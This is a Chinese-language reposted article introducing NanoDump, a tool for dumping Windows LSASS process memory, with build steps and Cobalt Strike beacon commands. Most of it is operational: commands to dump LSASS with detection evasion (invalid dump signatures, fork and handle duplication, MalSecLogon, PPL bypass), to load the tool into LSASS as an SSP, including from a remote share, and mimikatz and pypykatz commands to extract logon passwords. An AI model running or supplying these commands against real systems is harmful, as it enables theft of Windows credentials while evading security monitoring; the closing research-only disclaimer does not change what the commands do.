如何使用NanoDump导出LSASS进程数据

admin 2025年2月15日22:32:25评论22 views字数 2498阅读8分19秒阅读模式

如何使用NanoDump导出LSASS进程数据

 关于NanoDump 

NanoDump是一款功能强大的MiniDump转储文件提取工具,在该工具的帮助下,广大研究人员可以轻松转储LSASS进程中的MiniDump数据。

 功能介绍 

1、大多数操作都使用了syscall(配合SysWhispers2);

2、通过ntdll地址调用syscall,以绕过某些系统调用检测;

3、支持将syscall回调钩子设置为NULL;

4、通过动态调用方法来调用Windows API;

5、支持选择下载转储文件而不需要触碰磁盘或写入文件;

6、默认情况下,MiniDump具有无效的签名以避免检测;

7、通过忽略不相关的DLL来减少转储的大小,NanoDump的输出数据大小约为10MB;

8、不需要提供LSASS的进程PID;

9、不会调用dbghelp或其他库,所有的转储逻辑都在NanoDump中实现;

10、支持进程Fork;

11、支持快照;

12、支持句柄拷贝;

13、支持MalSecLogon;

14、支持PPL用户态利用;

15、可以使用NanoDump的.exe版本在Cobalt Strike之外单独运行NanoDump;

 工具安装&配置 

首先,我们需要使用下列命令将该项目源码克隆至本地:

git clone https://github.com/helpsystems/nanodump.git

Linux编译

在Linux系统上,我们需要使用MinGW来编译NanoDump源码:

make -f Makefile.mingw

Windows编译

在Windows系统上,我们需要使用MSVC来编译NanoDump源码:

nmake -f Makefile.msvc

Cobalt Strike导入

接下来,我们需要将生成的NanoDump.cna脚本导入到Cobalt Strike中。

 工具使用 

我们可以直接在Cobalt Strike的Beacon控制台中运行“nanodump”命令来使用NanoDump:

beacon> nanodump

恢复签名

当你下载了NanoDump生成的MiniDump转储文件之后,可以使用下列命令来恢复无效签名:

scripts/restore_signature <dumpfile>

获取敏感信息

下列命令可以通过mimikatz来获取转储文件中的敏感信息:

mimikatz # sekurlsa::minidump <dumpfile>mimikatz # sekurlsa::logonPasswords full

如果你使用的是Linux系统,也可以使用mimikatz的Python 3版本,即pypykatz来获取转储文件中的敏感信息:

python3 -m pypykatz lsa minidump <dumpfie>

以SSP加载NanoDump

我们可以在LSASS中以SSP的形式加载NanoDump以避免打开一个句柄。此时,转储的数据将使用一个无效签名(默认为C:WindowsTempreport.docx)来写入磁盘。当转储完成后,DllMain将返回FALSE来控制LSASS卸载NanoDump DLL。

如需修改转储路径和签名配置,可以直接修改entry.c中的NanoDump函数。

NanoDump DLL上传和加载

beacon> load_sspbeacon> delete_file C:WindowsTemp[RANDOM].dll

加载本地DLL

beacon> load_ssp c:ssp.dll

加载远程DLL

beacon> load_ssp \10.10.10.10openSharessp.dll

PPL绕过

beacon> nanodump_ppl -v -w C:WindowsTemplsass.dmp

 工具使用演示 

通过创建一个Fork间接读取LSASS进程数据,并使用无效签名将转储文件写入磁盘:

beacon> nanodump --fork --write C:lsass.dmp

使用MalSecLogon在一个记事本进程中获取LSASS句柄,然后拷贝句柄以访问LSASS,并读取转储信息:

beacon> nanodump --malseclogon --dup --fork --binary C:Windowsnotepad.exe --valid

使用MalSecLogon获取句柄,通过使用Fork间接读取LSASS,并使用无效签名将转储文件写入磁盘:

beacon> nanodump --malseclogon --fork --valid --write C:WindowsTemplsass.dmp

使用无效签名下载转储文件:

beacon> nanodump

拷贝现有句柄,并使用无效签名将转储文件写入磁盘:

beacon> nanodump --dup --write C:WindowsTempreport.docx

获取LSASS进程PID:

beacon> nanodump --getpid

在LSASS中以SSP加载NanoDump:

beacon> load_sspbeacon> delete_file C:WindowsTemp[RANDOM].dll

在LSASS中以SSP加载NanoDump(远程):

beacon> load_ssp \10.10.10.10openSharenanodump_ssp.x64.dll

转储LSASS并绕过PPL:

beacon> nanodump_ppl --dup --write C:WindowsTemplsass.dmp

 工具运行截图 

如何使用NanoDump导出LSASS进程数据

许可证协议

本项目的开发与发布遵循Apache-2.0开源许可证协议。

项目地址

https://github.com/helpsystems/nanodump

参考资料

https://github.com/jthuraisamy/SysWhispers2

https://github.com/skelsec/pypykatz

https://github.com/helpsystems/nanodump/blob/main/source/entry.c

如何使用NanoDump导出LSASS进程数据

 

 

原文始发于微信公众号(FreeBuf):如何使用NanoDump导出LSASS进程数据

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日22:32:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何使用NanoDump导出LSASS进程数据http://cn-sec.com/archives/1038705.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息